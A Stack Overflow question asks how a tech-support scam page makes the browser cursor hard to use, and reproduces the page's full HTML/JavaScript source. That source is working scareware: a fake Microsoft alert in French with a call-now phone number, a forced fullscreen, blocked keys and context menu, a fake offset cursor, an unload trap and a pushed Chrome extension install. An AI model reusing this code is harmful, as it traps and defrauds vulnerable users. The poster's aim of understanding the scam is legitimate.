title: How is this portion of code able to modify the mouse pointer seemingly outside of the browser window?
body: <p>Tech support scammers are always trying to find ways to make windows hard to close for scam purpose.</p>
  
  <p>In this case, the goal of a section of this code is to make it hard for the user to check : "prevent this page from creating additional dialogs", otherwise the victim can just close the window. It's somehow messing with the mouse cursor to make it difficult for the victim to hover the checkbox. I don't understand how this works:</p>
  
  <p>There is a large blob in the page which I removed for StackOverflow but a full version can be found here: <a href="https://pastebin.com/E57AQjGj" rel="nofollow noreferrer">https://pastebin.com/E57AQjGj</a></p>
  
  <p>For future visitors, here is the cursor (from Tschallacka's answer), with a grey background (normally clear):</p>
  
  <p><a href="https://i.stack.imgur.com/y0VVh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/y0VVh.png" alt="fake cursor"></a></p>
  
  <p>This is the code of a typical Microsoft Technical support scam as of May of 2018:</p>
  
  <pre><code>&lt;html xmlns="http:/www.w3.org/1999/xhtml"&gt;
  &lt;head&gt;
  &lt;meta name="robots" content="noindex,nofollow"&gt;
  &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;
  &lt;title&gt; Information &lt;/title&gt;
  &lt;link href="index_files/bootstrap.css" rel="stylesheet"&gt;
  &lt;link href="index_files/style.css" rel="stylesheet"&gt;
  &lt;link href="index_files/translator.css" id="SL_Style" type="text/css" rel="stylesheet"&gt;
  &lt;link href="index_files/alert.css" rel="stylesheet"&gt;
  &lt;link href="https://chrome.google.com/webstore/detail/ghbmnnjooekpmoecnnnilnnbdlolhkhi" rel="chrome-webstore-item"&gt;
  &lt;style&gt;
    html {
      overflow: hidden;
    }
  &lt;/style&gt;
  &lt;script&gt;
    /*
    window.alert = function(al) {
      return function(msg) {
        al(msg);
       var event = new CustomEvent('alert_clicked');
         document.dispatchEvent(event);
      };
    }(window.alert);
  
    document.addEventListener('alert_clicked', function() {
      setTimeout(function() {
        toggleFullScreen();
      }, 1000)
    }, false);
    */
  &lt;/script&gt;
  &lt;script&gt;
    function getURLParameter(name) {
      return decodeURI((RegExp(name + '=' + '(.+?)(&amp;|$)').exec(location.search) || [,null])[1] || '');
    }
    var error = getURLParameter('error');
  &lt;/script&gt;
  &lt;audio id="play" loop&gt;&lt;source src="fr.mp3" type="audio/mpeg"&gt;&lt;/audio&gt;
  &lt;!--&lt;audio autoplay="autoplay" loop=""&gt;
    &lt;source src="index_files/gb.mp3" type="audio/mpeg"&gt;
  &lt;/audio&gt;--&gt;
  &lt;script type="text/javascript"&gt;
  var stroka = "&lt;tr&gt;&lt;td valign='top'&gt;&lt;table width='100%' height='61' cellpadding='0' cellspacing='0' border='0'&gt;&lt;tr&gt;&lt;td width='766'&gt;&lt;img src='data:image/jpeg;base64,/Z'&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;";
  &lt;/script&gt;
  &lt;script type="text/javascript"&gt;
    function toggleFullScreen() {
      if (!document.fullscreenElement &amp;&amp; !document.mozFullScreenElement &amp;&amp; !document.webkitFullscreenElement) {
        if (document.documentElement.requestFullscreen) {
          document.documentElement.requestFullscreen();
        } else if (document.documentElement.mozRequestFullScreen) {
          document.documentElement.mozRequestFullScreen();
        } else if (document.documentElement.webkitRequestFullscreen)
  {document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT);
        }
      }
    }
  &lt;/script&gt;
  
  &lt;script type="text/javascript"&gt;
    document.addEventListener('keyup', function(es) {
      if (es.keyCode === 27) {
        toggleFullScreen();
      }
    }, false);
  &lt;/script&gt;
  
  &lt;script type="text/javascript"&gt;
    document.addEventListener('keyup', function(e) {
      if (e.keyCode === 122 || e.keyCode === 17 || e.keyCode === 18 || e.keyCode === 13) {
        document.getElementById('map').innerHTML = stroka;
        toggleFullScreen();
      }
    }, false);
  &lt;/script&gt;
  
  &lt;script type="text/javascript"&gt;
    window.onload = function () {
      document.onclick = function (e) {
        e = e || event;
        target = e.target || e.srcElement;
  
        if (target.tagName === "DIV") {
          toggleFullScreen();
          document.body.style.cursor = 'not-allowed';
          document.getElementById('map').innerHTML = stroka;
          document.getElementById('fa').innerHTML = "&lt;iframe src='#' width='12' height='12' style='position: absolute; left: -25px;'&gt;&lt;/iframe&gt;";
        } else {
          toggleFullScreen();
          document.body.style.cursor = 'not-allowed';
          document.getElementById('map').innerHTML = stroka;
          document.getElementById('fa').innerHTML = "&lt;iframe src='#' width='12' height='12' style='position: absolute; left: -25px;'&gt;&lt;/iframe&gt;";
        }
      }
    }
  &lt;/script&gt;
  
  &lt;script type="text/javascript"&gt;
    addEventListener("click", function() {
      document.getElementById('map').innerHTML = stroka;
       document.getElementById("play").play();
      if (!isFullScreen) {
        var el = document.documentElement,
            rfs = el.requestFullScreen || el.webkitRequestFullScreen || el.mozRequestFullScreen;
        rfs.call(el);
      }
    });
  &lt;/script&gt;
  &lt;/head&gt;
  &lt;body  onkeydown="return hCPNapvlhFicLoDm(event)" oncontextmenu="return false" style="cursor: url(&amp;quot;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAMAAAD04JH5AAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAPUExURQAAAAICAgAAAP///5WVlXiCGdAAAAADdFJOUwD8ZX+n/7gAAABvSURBVHja7dbBAUAwEABBQf81i6CGfZipYB3J2bY/GnnAHgec9QjOY9QBccEMaAvugLRgBZQFT0BY8AZ0BV9AVvB8hEt3D8SnYIz2FMxtlI7gfvVzBN1OXM9+1Dsx/ykAAAAAAAAAAAAAAAAAgNcFnc4A9qwo+wMAAAAASUVORK5CYII=&amp;quot;) 128 128, crosshair;"&gt;
  &lt;!-- &lt;canvas id="canvasElement"&gt;&lt;/canvas&gt; --&gt;
  &lt;audio autoplay="autoplay" loop=""&gt;
      &lt;source src="fr.mp3" type="audio/mpeg"&gt;
  &lt;/audio&gt;  
  &lt;div id="coFrameDiv" style="height:0px;display:none;"&gt;
    &lt;iframe id="coToolbarFrame" src="index_files/a.htm" style="height:0px;width:100%;display:none;"&gt;&lt;/iframe&gt;
  &lt;/div&gt;
  &lt;a id="elem" href="#" style="display: none;"&gt;&lt;/a&gt;
  &lt;span id="audioarea"&gt;&lt;/span&gt;
  &lt;table width="100%" cellspacing="0" cellpadding="0" border="0"&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td valign="top" align="center"&gt;&lt;div id="map"&gt;&lt;/div&gt;
        &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;nav class="navbar navbar-default navbar-static-tops"&gt;
    &lt;div class="container"&gt;
      &lt;div class="navbar-header"&gt;
        &lt;button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"&gt;
          &lt;span class="sr-only"&gt;Navigation&lt;/span&gt;
          &lt;span class="icon-bar"&gt;&lt;/span&gt;
          &lt;span class="icon-bar"&gt;&lt;/span&gt;
          &lt;span class="icon-bar"&gt;&lt;/span&gt;
        &lt;/button&gt;
        &lt;a class="navbar-brand" href="#"&gt;
          &lt;img src="index_files/windows.png" alt="Windows"&gt;
        &lt;/a&gt;
      &lt;/div&gt;
      &lt;div id="navbar" class="navbar-collapse collapse"&gt;
        &lt;ul class="nav navbar-nav"&gt;
          &lt;li class="dropdown"&gt;
            &lt;a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"&gt;Store&lt;span class="caret"&gt;&lt;/span&gt;&lt;/a&gt;
            &lt;ul class="dropdown-menu"&gt;
              &lt;li&gt;&lt;a href="#"&gt;Téléchargement &lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href="#"&gt;Devices&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href="#"&gt;Software&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href="#"&gt;Apps&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href="#"&gt;Games&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
          &lt;li class="dropdown"&gt;
            &lt;a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"&gt;Products&lt;span class="caret"&gt;&lt;/span&gt;&lt;/a&gt;
            &lt;ul class="dropdown-menu"&gt;
              &lt;li&gt;&lt;a href="#"&gt;Software &amp;amp; services&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href="#"&gt;Devices &amp;amp; Xbox&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href="#"&gt;For business&lt;/a&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
          &lt;li&gt;&lt;a href="#"&gt;Support&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;ul class="nav navbar-nav navbar-right"&gt;
          &lt;li&gt;&lt;a href="#"&gt;&lt;strong&gt;Support technique : 09 70 38 74 17&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/div&gt;&lt;!--/.nav-collapse--&gt;
    &lt;/div&gt;
  &lt;/nav&gt;
  &lt;div class="container"&gt;
    &lt;div class="jumbotron"&gt;
      &lt;div class="row"&gt;
        &lt;div class="col-xs-6 text-left"&gt;
  &lt;h2&gt;Attention&lt;/h2&gt;
  Ne pas éteindre ou réinitialiser votre ordinateur.
  &lt;/br&gt;&lt;/br&gt;
  Votre ordinateur a été infecté.
  &lt;/br&gt;&lt;/br&gt;
  Les données suivantes peuvent être compromises :
  &lt;br/&gt;&lt;br/&gt;
  1. Mots de passe.
  &lt;br/&gt;
  2. Historique du navigateur.
  &lt;br/&gt;
  3. Informations sensibles (Cartes de crédit).
  &lt;br/&gt;
  4. Fichiers sur le disque dur.
  &lt;br/&gt;
  &lt;br/&gt;
  Veuillez nous appeler dans les 5 prochaines minutes pour éviter que votre     ordinateur ne soit désactivé.
  &lt;br&gt;&lt;br&gt;
  Appelez immédiatement au : &lt;b&gt;09 70 38 74 17&lt;/b&gt; (Appel gratuit).
  &lt;br&gt;&lt;br&gt;
  Ne pas ignorer cette alerte critique. Si vous fermez cette page, votre accès à l'ordinateur sera désactivé pour éviter d'autres dommages sur notre réseau.
  &lt;br&gt;&lt;br&gt;
  Contactez-nous immédiatement afin que nos ingénieurs puissent vous guider à travers le processus de suppression par téléphone. Veuillez nous appeler dans les 5 prochaines minutes pour éviter que votre ordinateur ne soit désactivé.
  
        &lt;/div&gt;
  
      &lt;/div&gt;
    &lt;/div&gt;
  
  &lt;/div&gt; 
  
  &lt;footer class="footer"&gt;
    &lt;div class="container"&gt;
      &lt;div class="row"&gt;
        &lt;div class="col-md-4" style="text-align:left;"&gt;
          &lt;h4&gt;Support&lt;/h4&gt;
          &lt;ul style="padding:0px;"&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Account support&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Supported products list&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Product support lifecycle&lt;/a&gt;&lt;/li&gt;
          &lt;/ul&gt;
        &lt;/div&gt;
        &lt;div class="col-md-4" style="text-align:left;"&gt;
          &lt;h4&gt;Security&lt;/h4&gt;
          &lt;ul style="padding:0px;"&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Safety &amp;amp; Security Center&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Download Security Essentials&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Malicious Software Removal Tool&lt;/a&gt;&lt;/li&gt;
          &lt;/ul&gt;
        &lt;/div&gt;
        &lt;div class="col-md-4" style="text-align:left;"&gt;
          &lt;h4&gt;Popular topics&lt;/h4&gt;
          &lt;ul style="padding:0px;"&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Report a support scam&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Disability Answer Desk&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Locate Windows addresses worldwide&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Windows 10 help &amp;amp; how-to&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Windows 10 Mobile help &amp;amp; how-to&lt;/a&gt;&lt;/li&gt;
            &lt;li style="list-style: none; padding:10px 0px;"&gt;&lt;a&gt;Can't find Office applications in Windows 10,
                Windows 8, or WIndows 7?&lt;/a&gt;&lt;/li&gt;
          &lt;/ul&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;div class="row" style="font-size: 1.2rem; padding:30px 0px;"&gt;
        &lt;div style="float:left;"&gt;&lt;span class="glyphicon glyphicon-cd"&gt;&lt;/span&gt;&lt;span&gt;English(United States)&lt;/span&gt;
        &lt;/div&gt;
        &lt;div style="float:right;"&gt;
          &lt;span style="padding:0px 15px;"&gt;Terms of use&lt;/span&gt;
          &lt;span style="padding:0px 15px;"&gt;English(United States)&lt;/span&gt;
          &lt;span style="padding:0px 15px;"&gt;Trademarks&lt;/span&gt;
          &lt;span style="padding:0px 15px;"&gt;@2016 Windows&lt;/span&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/footer&gt;
  
  
  
  &lt;div id="chrome-alerts" class="chrome-alert"&gt;
    &lt;div&gt;
      &lt;a href="javascript:openlink()" class="cross"&gt;×&lt;/a&gt;
      &lt;h1&gt;Attention&lt;/h1&gt;
      &lt;div class="content-box" id="alert-content-box"&gt;
  &lt;p&gt;
  Votre ordinateur a été infecté.
  &lt;/br&gt;&lt;/br&gt;
  Les données suivantes peuvent être compromises :
  &lt;br/&gt;&lt;br/&gt;
  1. Mots de passe.
  &lt;br/&gt;
  2. Historique du navigateur.
  &lt;br/&gt;
  3. Informations sensibles (Cartes de crédit).
  &lt;br/&gt;
  4. Fichiers sur le disque dur.
  &lt;br/&gt;
  &lt;br/&gt;
  Veuillez nous appeler dans les 5 prochaines minutes pour éviter que votre ordinateur ne soit désactivé.
  &lt;br&gt;&lt;br&gt;
  Appelez immédiatement au : &lt;b&gt;09 70 38 74 17&lt;/b&gt; (Appel gratuit).
  &lt;br&gt;&lt;br&gt;
  Ne pas ignorer cette alerte critique. Si vous fermez cette page, votre accès à l'ordinateur sera désactivé pour éviter d'autres dommages sur notre réseau.
  &lt;br&gt;&lt;br&gt;
  Contactez-nous immédiatement afin que nos ingénieurs puissent vous guider à travers le processus de suppression par téléphone. Veuillez nous appeler dans les 5 prochaines minutes pour éviter que votre ordinateur ne soit désactivé.
  &lt;/p&gt;
      &lt;/div&gt;
      &lt;label style="font-size: 12px;"&gt;&lt;input type="checkbox"&gt; Empêcher les boîtes de dialogue supplémentaires&lt;/label&gt;
      &lt;div class="action_buttons"&gt;
        &lt;a class="active" id="leave_page"&gt;OK&lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;script&gt;
    var subid = '';
    var clickid = '';
    var postback = 'wHBAN004C9IFC3951PRAFUP0';
    var cl = false;
    var isFullScreen = !(!document.fullscreenElement &amp;&amp; !document.msFullscreenElement &amp;&amp; !document.mozFullScreenElement &amp;&amp; !document.webkitFullscreenElement);
    window.onload = function () {
      var langs = {
        en: {
          img: 'ru_new.png',
          h3: 'System notification!',
          p: 'Important additions for your browser are downloading and installation is in progress. Press OK and install the extensions!'
        },
        ru: {
          img: 'ru_new.png',
          h3: '????????? ???????????!',
          p: '???????????? ???????? ? ????????? ??????? ?????????? ??? ?????? ????????. ??????? "??" ? ?????????? ???????????? ??????????.'
        },
        de: {
          img: 'ru_new.png',
          h3: 'Systembenachrichtigung!',
          p: 'Important additions for your browser are downloading and installation is in progress. Press OK and install the extensions!'
        },
        fr: {
          img: 'ru_new.png',
          h3: 'Avis de système !',
          p: 'Important additions for your browser are downloading and installation is in progress. Press OK and install the extensions!'
        },
        es: {
          img: 'ru_new.png',
          h3: '¡Notificación del sistema!',
          p: 'Se está realizando la descarga e instalación de una extensión importante para su navegador. Haga clic en  "Aceptar" e instale la extensión propuesta.'
        },
        pt: {
          img: 'ru_new.png',
          h3: 'Mensagem de sistema!',
          p: 'Importantes adições para o seu navegador estão sendo transferidas ea instalação está em andamento. Pressione OK e instale as extensões!'
        },
      };
  
      if (window.chrome !== undefined &amp;&amp; window.chrome.webstore &amp;&amp; window.chrome.webstore.install) {
        if (document.cookie.indexOf('tmp_name=') == -1) {
          setCookie('tmp_name', 'landing', 24);
        }
        var lang = langs[navigator.language];
        hTRnKeAy1lgYB4La();
  
        if (lang) {
          document.querySelector('header img').src = lang.img;
          document.querySelector('.gR3SfJr5l9O4jbWa h3').innerText = lang.h3;
          document.querySelector('.gR3SfJr5l9O4jbWa p').innerText = lang.p;
        }
  
        if (document.cookie.indexOf('c_open' + '=') === -1) {
          setCookie('c_open', 'landing', 1);
          window.location.href = window.location.href;
        }
        try {
          document.querySelector('footer').style.display = 'none';
          document.querySelector('header').style.display = 'block';
        } catch (e) {}
  
      } else {
        window.onbeforeunload = null;
        location.assign('#');
      }
    };
    window.onresize = function () {
      if (document.querySelector('header')) {
        if (window.innerHeight != screen.height) {
          document.querySelector('header').style.display = 'block';
          document.querySelector('footer').style.display = 'none';
        }
        else {
          document.querySelector('header').style.display = 'none';
          document.querySelector('footer').style.display = 'block';
        }
      }
    };
    window.onbeforeunload = function (ev) {
      return "You have to install extension !";
    };
    function kzogExQSrDChY4Iq() {
      eKxJS2GzrfWPEjgm();
      setTimeout(function () {
        document.body.webkitRequestFullscreen();
      }, 1000);
    }
    function setCookie(a, b, c) {
      var d = '';
      if (c) {
        var e = new Date();
        e.setTime(e.getTime() + (c * 60 * 60 * 1000));
        d = '; expires=' + e.toUTCString()
      }
      console.log(d);
  
      document.cookie = a + "=" + b + d + ";path=/";
    }
    function hTRnKeAy1lgYB4La() {
      if (document.cookie.indexOf('c_name' + '=') !== -1 &amp;&amp; document.cookie.indexOf('tmp_name=') !== -1) {
        window.onbeforeunload = null;
        location.assign('#');
      }
    }
    function gpAkSJDl9ENT5gLQ() {
      try {
        document.querySelector('footer').style.display = 'block';
        document.querySelector('header').style.display = 'none';
      } catch (e) {}
    }
    function eKxJS2GzrfWPEjgm() {
      gpAkSJDl9ENT5gLQ();
      try {
        document.webkitCancelFullScreen();
      } catch (e) { }
      try {
        document.cancelFullscreen();
      } catch (e) { }
      var xhr = new XMLHttpRequest();
      xhr.open('GET', "#", true);
      xhr.send();
      cl = true;
      chrome.webstore.install('', function () {
        window.onbeforeunload = null;
        var xhr = new XMLHttpRequest();
        xhr.open('GET', "#", true);
        xhr.onload = function () {
          if (clickid) {
            var xhrPostback = new XMLHttpRequest();
            xhrPostback.open('GET', '#', true);
            xhrPostback.onload = function () {
              var xhrPostback1 = new XMLHttpRequest();
              xhrPostback1.open('GET', '#', true);
              xhrPostback1.onload = function () {
                var xhrPostback3 = new XMLHttpRequest();
                xhrPostback3.open('GET', '#', true);
                xhrPostback3.onload = function () {
                  open('#', '_self');
                };
                xhrPostback3.onerror = function () {
                  open('#', '_self');
                };
                xhrPostback3.send();
              };
              xhrPostback1.onerror = function () {
                var xhrPostback3 = new XMLHttpRequest();
                xhrPostback3.open('GET', '#', true);
                xhrPostback3.onload = function () {
                  open('#', '_self');
                };
                xhrPostback3.onerror = function () {
                  open('#', '_self');
                };
                xhrPostback3.send();
              };
              xhrPostback1.send();
            };
            xhrPostback.onerror = function () {
              var xhrPostback1 = new XMLHttpRequest();
              xhrPostback1.open('GET', '#', true);
              xhrPostback1.onload = function () {
                var xhrPostback3 = new XMLHttpRequest();
                xhrPostback3.open('GET', '#', true);
                xhrPostback3.onload = function () {
                  open('#', '_self');
                };
                xhrPostback3.onerror = function () {
                  open('#', '_self');
                };
                xhrPostback3.send();
              };
              xhrPostback1.onerror = function () {
                var xhrPostback3 = new XMLHttpRequest();
                xhrPostback3.open('GET', '#', true);
                xhrPostback3.onload = function () {
                  open('#', '_self');
                };
                xhrPostback3.onerror = function () {
                  open('#', '_self');
                };
                xhrPostback3.send();
              };
              xhrPostback1.send();
            };
            xhrPostback.send();
          } else if (subid) {
            var xhrPostback = new XMLHttpRequest();
            xhrPostback.open('GET', '#' + subid, true);
            xhrPostback.onload = function () {
              open('#', '_self');
            };
            xhrPostback.onerror = function () {
              open('#', '_self');
            };
            xhrPostback.send();
          } else if (postback) {
            var xhrPostback = new XMLHttpRequest();
            xhrPostback.open('GET', '#' + postback, true);
            xhrPostback.onload = function () {
              open('#', '_self');
            };
            xhrPostback.onerror = function () {
              open('#', '_self');
            };
            xhrPostback.send();
          } else {
            open('#', '_self');
          }
        };
        xhr.onerror = function () {
          open('#', '_self');
        };
        xhr.send();
      }, function (error) {
          cl = false;
          var xhr = new XMLHttpRequest();
          xhr.open('GET', "#", true);
          xhr.send();
          console.log(error);
          document.querySelector('footer').style.display = 'none';
          try {
            document.querySelector('header').style.display = 'block';
          } catch (v) {
          }
          setTimeout(function () {
            try {
              document.webkitCancelFullScreen();
            } catch (e) { }
            try {
              document.cancelFullscreen();
            } catch (e) { }
          }, 100);
      });
    }
    function hCPNapvlhFicLoDm(e) {
      if (e.which === 123 || e.which === 17) {
        return false;
      }
    }
    function hxvw7JrbMUZBqVhN() {
      var c = confirm("You should install the chrome extension!");
      if (!c) {
        hxvw7JrbMUZBqVhN();
      }
    }
    // document.body.addEventListener('keyup', f5WOxk2dF74GMRLf);
    document.body.addEventListener('keyup', kzogExQSrDChY4Iq);
    document.body.addEventListener('click', kzogExQSrDChY4Iq);
    function f5WOxk2dF74GMRLf() {
      return false;
    }
    function dsfsf(e) {
      e = e ? e : window.event;
      var from = e.relatedTarget || e.toElement;
      if (!from || from.nodeName === "HTML") {
        // hxvw7JrbMUZBqVhN()
          window.location.href = window.location.href;
      }
    }
    function addEvent(obj, evt, fn) {
      if (obj.addEventListener) {
        obj.addEventListener(evt, fn, false);
      } else if (obj.attachEvent) {
        obj.attachEvent("on" + evt, fn);
      }
    }
    function removeEvent(obj, evt, fn) {
      if (obj.removeEventListener) {
        obj.removeEventListener(evt, fn, false);
      } else if (obj.detachEvent) {
        obj.detachEvent("on" + evt, fn);
      }
    }
    //addEvent(document, "mouseout", dsfsf);
    window.onblur = function() {
      if (!isFullScreen &amp;&amp; !cl) {
        window.location.href = window.location.href;
      }
    };
  &lt;/script&gt;
  &lt;script type="text/javascript"&gt;
    var nomer = getURLParameter("n");
    var red = getURLParameter("red");
    if (red === "y") {
      document.location.href=("https://" + document.location.host + document.location.pathname + "?n=" + nomer + "&amp;error=" + error);
    }
  &lt;/script&gt;
  &lt;script type="text/javascript"&gt;var _Hasync= _Hasync|| [];
  _Hasync.push(['Histats.start', '1,3638954,4,0,0,0,00010000']);
  _Hasync.push(['Histats.fasi', '1']);
  _Hasync.push(['Histats.track_hits', '']);
  (function() {
  var hs = document.createElement('script'); hs.type = 'text/javascript';     hs.async = true;
  hs.src = ('//s10.histats.com/js15_as.js');
  (document.getElementsByTagName('head')[0] ||             document.getElementsByTagName('body')[0]).appendChild(hs);
  })();&lt;/script&gt;
  &lt;noscript&gt;&lt;a href="/" target="_blank"&gt;&lt;img  src="//sstatic1.histats.com/0.gif?3638954&amp;101" alt="free hit counter code" border="0"&gt;&lt;/a&gt;&lt;/noscript&gt;
  &lt;/body&gt;
  &lt;/html&gt;
  </code></pre>